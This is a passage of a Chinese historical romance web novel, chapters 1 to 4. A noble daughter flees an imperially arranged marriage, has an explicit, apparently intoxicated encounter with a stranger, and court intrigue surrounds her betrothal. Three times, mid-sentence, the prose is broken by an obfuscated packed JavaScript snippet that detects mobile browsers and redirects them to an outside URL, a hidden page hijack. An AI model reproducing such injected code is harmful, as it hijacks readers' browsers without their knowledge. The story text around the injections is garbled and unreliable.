《画麟阁上》 1. 第 1 章 《画麟阁上》 2025年冬 晋江文学城独家 ----- “闼闼闼……” 仰山门下，一个守城士兵半倚在城墙下，头一点一点，正在犯瞌睡。 急促的马蹄声逐渐逼近，士兵揉揉眼睛站起身，靠着城墙伸了个懒腰。依稀只见有人向城门疾驰而来，随风传来一股浓重的脂粉香气。 “什么人……这会子还不回家，找死么？！”士兵凶巴巴地吼一声。定是哪家纨绔子弟，温柔乡里喝多了黄汤，胆敢罔顾宵禁，直冲城门。 嘶鸣声划破静夜，飞驰的马转瞬到了面前，前蹄一扬，马上人飞扬的斗篷一角甩在他的脸上。 士兵怒极，提枪要刺，忽有寒光一闪，刺得他不禁闭眼。 那是男人蹀躞带上悬着的一枚银色令牌。 他的瞌睡顿时醒透了，忙不迭伸手去腰间掏钥匙，深一脚浅一脚地奔去开城门。 上面的人早就留了话，今夜公家办案，北城门需留人待命，时刻准备放行。指令的来源不明，但想也知道必是极难伺候的主，不能多问。这倒霉差事，便落在了胡阿大身上。 严格来说，胡阿大是不符合从军的条件的——他有夜盲症，太阳一落山便人畜不分，点着灯也只能看清脚底下那两步。家里硬是找到了门路，银子递到了司宫台主事手上，好歹把他送进了禁军。 马蹄在身后原地来回踏着步，马上人一言不发，威压感有如实质在空气中凝聚。 城门一共悬着三道锁头，光是找到对应的钥匙便要费些功夫，胡阿大心头紧张，动作更加不利落。 “饭桶。” 上位者语声冷冽，“你的上官是谁，没有交代过要提前候着么？” “回，回大人，是、是……” 胡阿大上下牙关打着颤，回了几个字便说不出话来，好在哆哆嗦嗦地总算将三道锁全部打开，他奋力推开半扇闭合的城门，而后转身伏倒在地。 马上的人哼了一声，一扯缰绳，很快便消失在夜色中。 胡阿大跪在原地，直到马蹄声远了，才直起身来。 他满腹疑惑地挠了挠头：正主这会才来，那刚才他放出城去的人，到底是谁？ * 玉京城在婆娑的树影中只剩一个角，那一粒如同种子大小的，依稀可辨是仰山门。 郑薜萝回过头，一颗心在胸腔中猛烈跳动着。 大祈宵禁森严，可出城之时竟未曾遇到阻拦。她一路信马由缰，孰能料想人生第一次出逃，就如此顺利。 四下阒然，呼吸声被放大，与脚下的马蹄几乎同一节奏。 官道修得笔直，一路通往麟趾山。山如其名，形似麒麟的三根脚趾，山中隐藏着诸多寺庙、道观，有些香火甚旺，更多的则名不见经传。 雨一直没停，淅淅沥沥落在斗篷上。路渐渐变得崎岖，进入山道，马儿的速度也慢了下来。 不知名的鸟叫声，在山谷中发出空灵的回响。 郑薜萝扯了扯缰绳，在山道上停下来。 不知是出于极度的害怕，抑或是兴奋，她抓着缰绳的手微微颤抖着。兜帽下半张莹白的脸，露出流线精致的颌角，薄唇殷红如樱。 郑薜萝不自觉地想：倘若遇到生人，就扮成山鬼吓他。 继而为自己这样的想法而好笑，这个时候，哪里会遇到人？恐怕真的遇鬼还更可能一些…… 正想着，忽听得一声清亮哨响，马儿受惊，前蹄猛然高抬，朝着一旁的山坡冲了过去。 “吁——！停下！！啊——” 郑薜萝控不住受惊的马，握着缰绳的手一松，从马背上滚落下来。潮湿的泥土味扑鼻而来，她皱着眉撑起身子。 两骑马在下方的山道上疾驰而过，她没有看清马上的人，他们来去如风，如同鬼魅。 也许真的遇见山鬼了。 她扭头朝着密林深处望去，丛丛树影之间，自己的马早已经不见踪影。夜鸮的叫声在荒山中回响，看不清的前方，偶有窸窸窣窣的动静。 恐惧如同蠕动的虫，沿着她的脊背缓缓爬上来。她打了个寒噤。 动了动手脚，好在没有受伤，郑薜萝扶着一旁的树干站起来，一步步回到山道上。 不知道走了多久，头顶一轮月亮从乌云后露头，脚下落叶覆盖的碎石小路，将她引向了一道竹桥。 桥下的溪流被月光倒映出粼粼微光，听着潺潺水声，她下意识吞了下口水。 好累，好渴。 走下竹桥，前方是一片青石阶，顺着石阶向上，茂密竹丛后依稀露着半扇木门，是个封闭的院落。 郑薜萝心跳加快。拾阶而上，轻叩门扉。 “有人么？” 无人应答。 门缝后依稀有光，里面的人应当是没听见，她微微用力，发现那门并没有上锁，只是虚掩着。 “……打扰了。”她推开了门。 空旷的院落里没有点灯，院中摆着一只三足鼎，除此之外再无旁物——看样子是修道之人隐居的处所。 明亮的月光之下，整齐的青砖铺地，不见一片落叶，洒扫得十分干净。 进院后，便闻到一股清幽的檀香味，可此时细品，其中似乎还混合了些旁的味道。 郑薜萝皱皱鼻子，依稀是甜腻的花香，像……劣质的脂粉。 院落东北角矗立着一座楼阁，青灰的底色与它背后幽暗的山壁浑然一体，是以刚才一进来竟没发现。 她在阁楼外廊下站定，依稀有灯光从楼阁紧闭的门窗漏出来。犹豫了一会，伸手轻推其中的一扇门。果不其然，那门也没有上锁。 一股故纸的气味从门缝里涌了出来。看来是一座藏经阁。 她此时四肢冰凉，楼内涌出的暖意让她心头一松，提起裙裾迈进了门。 阁楼内部呈八角形，八根粗重的金丝楠柱分别支撑在每个角上，木质台阶绕着楼阁的内壁盘旋向上，上层隐隐有灯光。抬头望，高处垂下的巨幅帷幕遮住了大部分的视野。 郑薜萝站在昏暗中迟疑了一会，沿着台阶上了二楼。 青色帐幔拦住了她的脚步，高处悬着的灯火在帐上投下了巨大的影子，形状古怪，但依稀看得出有人在帐内。 方才在院子里闻到的那股香气更加浓郁了。 “……擅入贵地，叨扰了——” 烛火忽而灭了。阁楼中瞬间陷入黑暗。帐幔后有脚步声迅疾而来。 郑薜萝心跳骤停，下一瞬，一只冰冷鬼爪攫住了她。 她心中一霎闪过悔意：不该如此贸然闯进来的，莫非真的误入了精怪修炼之所？ 那只手的主人将她拉到幕后，将人死死按在墙壁上，力道之大，让人全然动弹不得。 “你是谁？！” 这温度和声音……不是鬼，是个男人？ 郑薜萝勉强稳住呼吸，反握住男人横在她胸前的手臂。 “叨扰了，小女子在这山中迷了路，这才误入贵地……” “谁让你……进来的……” 男人嘶哑着嗓子，毫无半点听她解释的意思，只将她箍得更紧了些。 她被卡得有些喘不过气，一只手胡乱摸索着，沿着男人的手臂，碰到他死死抓进自己肩头的头，试图掰开些，却摸到了一手湿滑。那是……血？ 那股奇异的花香益发浓烈，她这才意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024500|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味的来源就是眼前人。 “你、你到底是什么人？” 没有回答，箍着她的力道更丝毫未松。 “放开我——！” 郑薜萝不知哪里生出的力气，竟一把将人推开了。只可惜很快男人的手重新堵了上来，这一回直接堵住了她的嘴。 鲜血顺着他的虎口流进嘴里，浓重的腥气和香味混杂，她一狠心，用力咬了下去。 男人吃痛，捂着手后撤两步。黑暗中依稀可见他挺拔的身形，因为痛苦而弓起。 郑薜萝在原地怔了两秒，才反应过来要跑。刚提步便一阵晕眩。 口腔中的血腥味似乎变甜了，有股奇异的暖流顺着她的经络迅速跑遍全身，她的胸臆中突然腾起一股燥热。 她口干舌燥，迫切想找水来喝，然而四周黑漆漆的，除了眼前这个男人，什么都没有。 不能留在这里，先出去再说。 她的脑子嗡嗡作响，想要离开，余光中却见那男人委顿在地，似乎极为痛苦。 “你……没事吧？” 男人埋着头，呼吸粗重，没有理她。 她蹲下身来想要扶他，触手却是一惊——他的身体烫得吓人。 “怎、怎么回事……” 郑薜萝下意识后退两步。 男人突然直起身，伸手拉住了她。 这回他手上的力道不重，她一挣就能开，却反而没动，朝他靠近了些。她身体里的那股燥热似乎益发汹涌了。 “道长……你怎么——” 话音未落，男人微微一扯，将她拉进了怀里，嘶声：“你……是谁……” 阁楼里没有一丝光，郑薜萝浑身燥热，脸已然红透，她一只手还被那道长攥着，另一只手按在他胸口——男人只穿着一件单薄的长袍，腰间没有系带，道袍的衣襟已经散开了。 她的手贴在他胸口，从来没有过的触感。坚硬的肌肉之上，滑腻腻的一片，是汗水。 干渴感更加明显，少女身上淡淡的香气透过每一个微张的毛孔释放出去，犹如火星落在干草上。 男人黑沉如渊的眸子亮起一瞬，似乎身体里某根弦已然崩断，他将她紧紧箍住，一个翻身，压了上去。 郑薜萝的心跳停了一拍。 沉重和灼热扑面而来，若不是被上方的人狠狠压制，一颗心似乎就要从喉咙口飞出来。 她轻轻挣扎了两下，意识逐渐陷入混沌，感官却前所未有地清晰。 衣裙不知去向，男人呼吸扯紧，修长的手指肆意游走于起伏之间，动作并无章法，他的掌心某处有茧，触碰时有奇妙的麻痒……她随之弓起又舒展，犹如一尾渴水的鱼。 男人停下动作，粗重的喘息喷薄在她的脖颈，似乎想要徒劳地克制，更多时候只能是加倍报复一般地放纵回来。 她无意识地低吟，有如仙女吟哦灵音骇空，效用反而是千万倍的蛊惑，将人重新拉回地狱。 “你……” 男人动作一顿，黑暗中垂眸看她，似乎有一瞬间的清醒，想要看清她到底是谁。 郑薜萝仰起脸，修长脖颈曲线连贯向下，月光下如通往极乐的玉阶。 干燥的唇瓣沿着跳动的血管一路循迹，仿佛沙漠中长途跋涉的旅人找到水源，或吮或咬，犹不解渴。她只觉自己无止境地下坠，亟需攀附住什么，伸手环住男人的宽阔后背，指甲深深陷了进去…… 一瞬间的痛感让郑薜萝瞬间清醒。 男人却已彻底沦陷，黑暗中只闻低沉的喟叹。 长睫颤动，她低垂的视线落在起伏的影子上，如堕铜柱地狱，业火自内焚烧。 终于，她闭上眼，昏昏沉沉地睡了过去。 2. 第 2 章 四下一片静谧。 男人修长的手臂被枕在脑后，另一只手依旧搭在她遍布红痕的胸.口。罩袍做被，将二人盖住。 郑薜萝将手伸到他鼻端，感觉到均匀的呼吸。所以他只是睡着了。 天花上雕刻的异兽在黑暗中张牙舞爪，似乎在对她眨眼、说话……就这么放任光怪陆离的思绪在脑中跑了一会。 及笄那年，她随母亲进宫参加筵席，认识了宁安公主。 宁安公主李慧语大她一岁，见她在一众贵女中尤其安静，便有意逗她玩，带她看了一本私藏的“奇书”。 那“奇书”叫什么名字已然记不清，只记得里面画得都是些风流飘逸的道士女冠，看似不食人间烟火的仙风道骨，法袍飘逸之下，竟是从来未曾想象过的惊世骇俗。 她只瞧了两眼，脸便红成柿子，将书一合推了回去。 宁安公主嘲笑她：你已经及笄了，到了可以嫁人的年纪，这些事情，总要有人要教你的。 未曾想到某一日，竟真会与一个素昧平生、甚至素未谋面的男人做出这样的事。 郑薜萝转过脸，推开架在身上的手臂，指腹滑过紧实的肌肉线条，还残留着黏腻的汗水。 男人浑然无觉，她却能听到自己的心砰砰作响。 这一切太荒谬了。也太……刺激了。 她坐起身，意识渐渐复苏。 昨日午后，宫里便传出一个流言：圣人做主，指婚郑房两家结亲。妹妹郑绵韵尚小，家中到了适婚年龄的只有自己。 这流言实在突兀，不仅因为圣人此前从未插手过臣下的婚事，更因为房郑两家一向泾渭分明。 说泾渭分明还是好听的。 郑远持前阵子连续数日宿在衙署，就是为了应付刑部的调查，那位对父亲百般针对的主事官，便是刑部郎中房遂宁。 郑薜萝看着院落头顶被房檐隔成四方形的天空，而她坐在廊下，像被困在笼里的鸟。 母亲站在西厢的院落外和她对视，昏暗的天光下，面色晦暗——这样的神色在她的脸上不多见，大多数时候，她是沉稳笃定的。 她目送母亲进房，不敢上前追问，只盼着父亲回来。 可一直到很晚，始终没有等到他。 整座郑府上空被一个无形的罩子笼住，压抑沉闷的气氛有如实质，连雨声都无法穿透。吴妈妈在矮榻上辗转反侧了不知多久，终于渐渐传来鼾声。 而她缩在被子里睡不着，在黑暗中望着帐顶，瞪得眼睛都酸了。 月光慢移，一霎照亮她漫溢水汽的眼睛，如同挂着霜的黑葡萄。 她猜想，一切大约已无法转圜。 就这样，她逃了出来。 …… 恐怕重来一次，她也再不会有这样的勇气了。 曾经占据身体的冲动如潮水迅速退却，郑薜萝将衣衫重新穿上，黑暗中摸索到自己的靴子，一只只穿好。 站起身，掀开帷幕，步下楼梯。 从始至终不曾回头看一眼，那神秘道长究竟长什么样子。 就让这荒唐一夜，如一场春梦了无痕迹。 - 户部衙署中庭，几顶巨大的遮雨棚架在院当中，棚子下堆着一垛又一垛的簿册、文书，散发着陈年故纸的霉味。 郑远持从内堂走出，看着眼前景象，眉眼沉郁。 “大人。” 经过的衙差手里抱着一垛发黄的账册，见到主官，立时肃立行礼。 郑远持颔首，看着他手里抱着的账册，问：“就剩这么多了？” “是啊！折腾了半月，总算把刑部这帮瘟神送走了！” “辛苦了，归库后早些回去吧。” “不辛苦不辛苦！部司有您撑腰，没人敢欺负到咱们头上来！这不是，连那恶鬼头子都只能退让！哈哈~”那衙差见上官关心，劲头更足，弯腰又抱起一大摞纸，扭身朝文书库房去了。 郑远持缓步踱制门外，抬头，展开手中油纸伞，抬腿迈出门槛。深绯色袍角被廊下的灯笼照亮了一霎，随即被纸伞投下的阴影笼罩。 广济街上已是行人寥寥，坊市上空飘着袅袅炊烟。 他在阶上站了一会，听着细密雨声敲打着伞面，深吸一口潮湿的空气。 真是极漫长的一天。 “惟宰兄，怎么这会儿还没回去？”雨幕中传来人声。 郑远持将伞面略倾斜了些，只见一辆马车停在了阶下，车帘掀起，露出车窗里一张脸来。正是他的同僚，户部度支主事张绍鼎。 “上车吧！”张绍鼎隔着车窗唤他。 郑远持的视线落在他的马车上，蓝帐宝顶，是户部六品以上官员的制式。车厢后还拖着一辆板车，上面整齐堆叠着两个红木箱笼，用油布盖着，又用手臂粗的麻绳捆得严严实实。 郑远持看着他，摇摇头：“不远，我走回去就是了——你都收拾好了？” “都差不多了，明日便启程了，”张绍鼎态度坚持，“这雨还要下大，快些上来吧！” 郑远持见他要劳师动众地掀帘下车来请，知道拗不过，便走下台阶，收了伞登上马车。 “划啪”一声，车夫落了鞭，马车缓缓动了起来。 自坐上车，郑远持便阖上眼，满脸的疲态。 “竟忙到现在，定是被登门来恭贺的人给拖住了吧。” “连你也调侃我么。” 郑远持掀起眼皮，无甚波澜地看了他一眼。 “苍天！就算旁人都在看热闹，我又如何会调侃于你？！” 除了是郑远持的得力助手，张绍鼎与他还有另一层关系：他的表妹方花实嫁给了郑远持作妾室，已育有一子一女。 他长叹一声，语气带了些愤懑：“也不知圣人是作何想，让冤家做亲家！” 郑远持面色益发难看了些，却不说话。 他的视线落在张绍鼎手边，那里摆着一支卷轴，红底褐封，是中枢的调令。 一个月前，户部度支司在朝会上被参了一本：玉京的西市之中，竟然出现了民间私铸的“鹅眼钱”。 “鹅眼钱”事件，挖根溯源，重灾区便在江南二道。自先帝时期，“恶钱”第一次在南方出现后，便在市面上屡禁不止，坊间私自铸钱，流通量居高不下。劣质钱币涌入市场，直接影响大祈的税收和贸易，而重灾区竟集中于几个纳税大户，怀光帝着即下令三司会审严查。 负责主审“鹅眼钱”案的，便是刑部郎中房遂宁。 好歹同为六部，本来大家都以为只会是雷声大、雨点小。可案子查了一个多月，把户部衙门弄得是鸡飞狗跳。 主审官房遂宁一声令下，寒冬腊月的天气，户部的所有主事官需随时待命等候问话，刑部的人动辄深夜传召，后来大家干脆不敢回家，都宿在了衙署里。 张绍鼎作为户部度支主事，职责之一便是监视印造诸道钱钞，妥妥地中箭：因履 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024501|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职不力，着调离户部，降半品，出京外放荷州为官。 “把我调走还不算，他们还查户部的帐，专门从载淳二十四年开始查，这不是有心针对你？！” ——载淳二十四年，恰好是郑远持开始任户部代理尚书的那一年。 “老兄你自从进入户部，大刀阔斧为朝廷做了不少实事，颇受圣人倚重，老尚书常年告病，老兄你递补尚书指日可待，算来，也是大祈最年轻的六部尚书了吧！” 张绍鼎扒着手指头，忿忿不平，“——偏偏有些人眼红，忝为世家大族，他房速崇这些年尸位素餐，生个儿子，倒是个整人的一把好手！” 他一手拍着郑远持的肩，“若非今日你给姓房的一点颜色看看，刑部还真要骑到咱们户部头上来！”说得激动起来，忘记自己已然不是户部的人。 郑远持心中实在郁结，恨声道：“若是早知会害了阿萝的终身，我绝不会选择今日当着圣人的面，和他房速崇对抗！唉！” 二人同时沉默下来，回想起今日朝上，事态的发展属实让所有人意想不到。 …… 郑远持疾言厉色地斥责房氏党同伐异，借查案之机，实则是排除异己，六部之中对房遂宁都是怨声载道，一个小小的刑部郎中敢如此作祟，不过是依凭老子的威势种种……多少年来，哪里有人敢当着圣人的面如此正面攻讦房氏？文武百官面面相觑，噤若寒蝉，房速崇气得面色铁青，又不屑于和郑远持对峙纠缠，一转身“噗通”向着御座上的人跪倒。 “陛下明鉴！臣一心为公——” “好了。” 圣人端坐高堂，视线在房郑二人之间来回逡巡。 “经过这一遭，户部已有了教训，”怀光帝微眯了眼，向着堂下跪着的人缓缓道，“人家的干将都被发配去了地方，还待如何？” 房速崇没有想到圣人会如此态度，他迟疑着抬头，捕捉到皇帝眼中一闪而过的锐色。 身居高位者最忌讳一家独大，“恶钱”一案，刑部确实显得有些不留余地。郑远持今日敢当众发作，定然也是心中有了计较。 一时间冷汗涔涔，房速崇颤声：“臣不敢……” 怀光帝缓了缓，转而道：“不过，荪桡做得不错，虽然年轻，做事却很是利落。刑部需要这样的人。爱卿先起来吧。” 房速崇松了口气，站起身来。 “前几日和贵妃聊起来，说遂宁至今尚未婚配？” “啊……回陛下，犬子去年刚刚及冠，确未婚配。” 方才还疾言厉色的圣人画风突变，突然开始和左丞大人闲话起了家常，众人的神色跟着放松下来。 唯有郑远持脸色难看了几分。 今日之事，明明是户部占理，看圣人这顾左右而言他的态度，又是要高高拎起，轻轻放下的节奏？他握紧手中的笏板，高声：“陛下，倘若六部都像房遂宁这样办事——” 见圣人抬起一只手，他只得住嘴。 “大丈夫也要先成家，再立业嘛！都二十一了，可有相看的对象？” 怀光帝拨弄着龙椅上的浮凸的纹路，漫不经心地问。 房速崇得意地瞥了郑远持一眼，难抑心中畅快：“犬子不才，不敢祸害别家，他母亲族中姊妹裴氏玉延，与他年岁相仿……”才刚说了一半，觑到皇帝神色，脸上的笑容僵住。 龙椅上的怀光帝眸光微眯，轻轻捋着胡须，视线落在了一旁面色沉郁的郑远持身上。 3. 第 3 章 事态的发展急转直下。没人能想到，圣人居然将一炷香之前还吵得正凶的两个对手当场拉成了亲家。 张绍鼎拍了拍郑远持的肩膀：“事已至此，不若这样想：你们两家结为姻亲，归根结底，还是他房速崇更吃亏些……” 郑远持抿唇不语。 “‘五姓十一家，不得自为婚姻’1……这道律令才出来多久啊，圣人一直有意抑制世家门阀以姻娅关系抱团，他房速崇的儿子自己便是掌刑律的，居然还敢自触杖藜！这不是往圣人刀口上撞？！” 大祈五姓，便是陇西李氏、河东裴氏、范阳卢氏、清河房氏和太原郭氏。 大祈自建国以来，名门士族通婚之风鼎盛，世家望族耻于与望族之外的他族通婚。中枢六部更是世家门阀婚姻的“重灾区”。 房速崇和正妻裴敏便是五姓联姻。自律令颁布之后，大多数望族慑于朝廷律令不敢张扬。左相也是一时得意，竟公然提及有意让独子房遂宁取表亲裴氏女，这便是明目张胆的违拗皇令了。 郑远持冷哼了一声：“都赞他房速崇放着吏部不选，送儿子进刑部历练，值得敬佩，哼！明明是居心险恶，监守自盗……” “谁说不是呢！像房氏这样老牌的门阀世家，大多只是阳奉阴违，姻亲的对象有几个不是阀阅之家？” 张绍鼎伸手拍了拍郑远持的肩头，“像老兄你这样的，在中枢就是一股清流，圣人自然要多多倚重！如今木已成舟，不然这么想，萝儿过去，便是世家宗妇，也不算辱没……” “名门望族又如何？！”郑远持一拳砸在手边凭几，“我郑家的女儿还用上赶着攀他房氏的高枝么！” 张绍鼎忙道：“那自然！我们萝儿乖巧温顺，倘若不是半路杀出个姓房的，便是新科状元也要登门来求……” “唉，事已至此，说这些又有什么用。” 一时难言的沉默，只闻车轮辘辘。忽然马声嘶鸣，马车猛地刹停下来。 “——怎么回事？！”张绍鼎转头大声问。 “大人！”车夫的声音响起，隐隐伴着杂乱的马蹄声，“……好像是公家的人。” “公家？” 张绍鼎皱眉与郑远持对视。他们的马车也是有品阶的官员才能坐的制式，同朝为官，大家见面无论职级高低，彼此面子上都会一团和气，多少过得去。寻常公差办事，怎会如此不客气。 天色已经大暗，雨势渐大，马车被拦停在街道正中。一队骑兵身披蓑衣，头戴斗笠，腰挎长刀，正穿过雨帘而来。 马车外响起冷厉的声音：“刑部办案，闲杂人等退避！” “你、你们要干什么？！住手！这车里是——” 寒光一闪，车帘被挑开。错金镶银的直刃长刀伸进来，刃尖正对着郑远持的脸。 持刀人穿一身提举衙差的服色，是刑部的人。 显然，这样冒犯同袍的事刑部已做得惯了，那提举对上郑侍郎阴沉的目光，也并无半点惧色。 “大人，不是。” 持刀人的刀锋收回两寸，转头禀报。 郑远持视线上移，落在那官差身后，眸色一沉。 男子被兜帽遮住了半张脸，玄色斗篷下一身藏青色圆领襕袍，衣袍下摆银线刺绣的獬豸在森冷月光下露出凛然爪牙。 张绍鼎也看清了那持刀衙差的上司，登时火冒三丈。 “房遂宁？！你简直胆大包天！” 马上人修长眉尾上挑，一丝鬓发自帽檐下垂落，发尾尚有水珠在滴，带着几分莫名的散淡风流。 倘若不论行事风格，房遂宁这样一幅惑人的外表，确实配得上“世家公子，如圭如璋”的玉名。 可惜，他眼中始终蕴着森然杀气，在这初春雨夜里，让人望之生寒。 下一瞬，他便淡漠地移开视线，一夹马腹，与马车错身而过。 “宵禁在即，城门坊市锁闭，无关人等速速归家不得流连！” 冷峻的声音划破了雨夜，一行人随之离开。 张绍鼎不敢相信自己的耳朵：“这、这什么人？！简直倒反天罡！！” 郑远持放下车帘，脸色更是难看。 “且不论他一个从五品的刑部郎中，对着你这户部主官全无半点敬畏！今日殿上圣人已经指了婚，他房遂宁便是你的准女婿，晚辈对长辈，怎能如此无礼！” 张绍鼎语气愤懑，“这夜黑风高的，看方向是往平康里去了，也不知接下来又要去整谁……” “你闻到没，那小子一身嚣张的脂粉味，是借查案之名寻欢作乐也说不定！反倒该让大理寺好好查查他们才是……” 郑远持的拳头越攥越紧。 郑府离户部衙门一坊之隔，马车进入罗甸街，在一扇低调的院门前停了下来。 目送张绍鼎的马车消失在街巷尾，郑远持深吸一口气，转身欲推门。 门却从里面打开了。 “夫君。” 郑远持抿着唇，揽住妻子迈入大门。 罗甸街的郑府是个三进的院子，与六部其他主事官员动辄占据半坊之地的府院相比，着实是低调得紧。郑远持携家在罗甸街住了近二十年，其间也曾动过换个大宅子的念头，被妻子李砚卿以“户部掌钱银，本就惹眼，万事需低调”的理由拦住了。 走进二重垂花门时，他略驻足，朝西边厢房望了一眼。 “阿萝呢？” “该是睡了。” 夫妻二人走进内院，郑远持却没往主屋去，一转身去了书房方向。 李砚卿沉默着跟在后面。 * 夜色已深，书房里响起尖刻的声音。 “夫君，清醒一些吧！” “难道你真的以为，今日圣人将萝儿指婚给房家，只是因为你恰巧在场？” 郑远持皱眉看向书案后的妻子：“难道不是么？京中高门有适龄女儿的不独我一家，就算五姓之外的人家也比比皆是，我若没有和房速崇公然叫板，圣人又怎会想到？” “砰”一声，他一拳砸在桌案，语气懊悔，“那顾尚书家的儿郎一表人才，刚中了新科进士，我早有属意，已经观察了许久；和顾家也有了默契，早知，便早早给二人定下亲事……” 李砚卿摇头：“圣人高高在上，难道不知咱们和兵部的顾家交往甚密，有意缔结儿女亲家？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024502|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郑远持一愣，抬眼看向妻子：“……你，什么意思？” 李砚卿叹一口气，缓缓坐了下来。 “你能看清圣人忌讳房氏加固与裴氏姻亲的举动，到了自己身上，便当局者迷了么？” 郑远持的眉头紧紧拧起。 “圣人倚重你郑远持不假，为官这么多年，夫君平步青云，不曾跌过什么跟头，放眼朝野，能与房氏分庭抗礼之人，也只有咱们——难道圣人还会允许郑氏成为五姓之外的第六姓么？” 看丈夫抿唇不语，李砚卿的语气软了一些，“我方才语气重了些，实在是此事要紧，不能看你执迷不悟。” 她站起身，走到郑远持的身边，将他手中紧紧攥着的一支笔抽了出来，搁在笔山上。 “有心人编排你那几句话，无非是说你入仕时借助了岳丈的势力，但我知道，这些年每一步，都是你自己脚踏实地，未曾过多依赖李氏荫庇，这也是陛下最为看重的……” “如今为了萝儿的婚事，竟昏了头，要去请她外祖父出面求情，岂不更加引得陛下不快？” 李砚卿出身李氏旁支，其父敬王李茂乃是先帝的幼弟，成年后封邑于宣州。是故比起出身蓁州商户的郑远持，李砚卿才是真正的贵族后代。 郑氏身为江南首富，经营百年，家底颇为丰厚。郑远持的父亲郑煊是个头脑灵活的商人，往来结交的各色人等多了，看遍了人情百态，明白要想家族壮大子弟需得读书的道理。见长子郑远持自小便展露出读书的天赋，便没让儿子接触家族生意，只供他好好读书。 郑远持果然争气，进士及第被敬王爷慧眼看中，不拘其出身商户，将唯一的女儿嫁给了他，又举荐女婿入了国子监。郑远持初入仕便做了京官，后来更是凭着自己的本事，进了六部之中抢破头都难进的户部。 与李砚卿成婚以来，郑远持总有妻子从旁佐助提醒。与其他夫人不同，李砚卿这个“贤内助”甚少关注府院内帷，更多是参与的是丈夫的仕途经济。 郑远持的视线落在面前的信笺上，面色难看。因着指婚一事，他也是急火攻心，左思右想，唯一的方法也只能是去求薜萝的外祖出面，替孙女摆脱这桩婚事。 然而，看着纸上墨迹尚新的粗重笔划，“泰山大人”的“泰”字只写了一半，便被妻子喊停了。 比起丈夫，李砚卿对待女儿婚事的态度清醒地几近冷酷。 她并未将话完全讲明白，但她知道以丈夫的领悟，定然已经懂了。房郑联姻，是以“新贵”郑氏消解房氏世家大族壁垒的一步棋。说白了，圣人也正是因为他郑远持出身商户，没有过多的利益牵涉，才有此一选。 若将李氏宗族也牵涉其中，反而会让局势更为复杂。 半晌，郑远持重新开口，声音哑了许多：“可是，那房遂宁手段狠辣，为人不善，朝野对他的风评一言难尽。” “我们已经亏欠萝儿太多，如今连她的婚姻大事都要牺牲，倘若嫁去房家，又要受多少委屈……” 李砚卿摇头，语气冷静得多，“因缘一事，乃阴鸷之定，不可变也，” “这既是萝儿的命，也只有接受。” 4. 第 4 章 书房外，天际现出蟹壳青。 淅沥的雨声敲打着屋檐，一阵风起，将檐下的灯笼扑灭了。 一个梳着双鬟的小丫头正走到廊下，突然陷入的黑暗让她脚步一顿，发现前面的暗处隐约有个人影，似已经站了一会。 半晌，那人影缓步走下了台阶。渐亮的天光照着她的脸，是个面容温和的中年妇人。 “您怎么站在这儿啊？有消息了么？” 妇人回过神来，朝着小丫鬟道：“你不守在房里，怎么出来了？” “姑娘叫我出来的……吴妈妈，到底消息是真是假啊？” 吴妈妈看向西厢房的方向，只是沉默。 “难道……是真的？姑娘真的要嫁给那个传说里身负‘七杀’命格的房家少郎君？” “胡说什么！”吴妈妈低叱。 且微一脸委屈：“我没有胡说，那房遂宁的名声可不好听呢……” 小丫头且微只有十三岁，正是好打听的性子，平日里替夫人小姐出门采买，妇人闲时聊天说地的也听了不老少，内宅的话题一向离不开姻娅关系，哪家的女儿逾笄多年尚未适人，哪家的儿郎喜欢胡闹，正妻尚未娶回家，便已在平康里置了别宅妇……而清河房氏嫡长孙房遂宁的名字，也曾偶尔出现在后宅妇人们口中。 “像房遂宁这般出身世家，却迟迟未曾议亲的男丁，简直比腊月里的蚊子还要少，大家都说，他是因缘上早有定数的孤寡之命！不然那么多看中房家门第，想要攀附的人家，为何最后都敬而远之呢？” 且微忧心忡忡地念叨，“还有说，房家的长房嫡孙含着金汤匙出生，却偏偏要去那‘门无匾，堂无点，官无钱，吏无脸’的刑部，整日接触三教九流的罪犯，监掌刑杀，染得一身血气，生人避之不及的……” 吴妈妈紧紧皱起眉头。 她是郑薜萝的奶娘，自从郑薜萝出生于宣州外祖家，从襁褓之间到亭亭玉立，一直贴身照顾不离左右，陪伴姑娘的时间甚至超过了郑远持夫妇。 昨夜伺候完姑娘早早入睡，她心中始终放不下，便想着去探探消息。到了主屋，远远却听见老爷和夫人似在争吵。她许久不曾听过夫人如此疾言厉色。 且微所说，实则她也有所耳闻，只是以前只当旁人家的闲话听听了事，却没料想，这房阎罗会真正成了姑娘的未婚夫。 吴妈妈看向西厢的方向。这一夜，不知姑娘是怎么过来的。 … 天光微明，坊市之中沿街售卖朝食的粥铺小摊升起袅袅白烟。 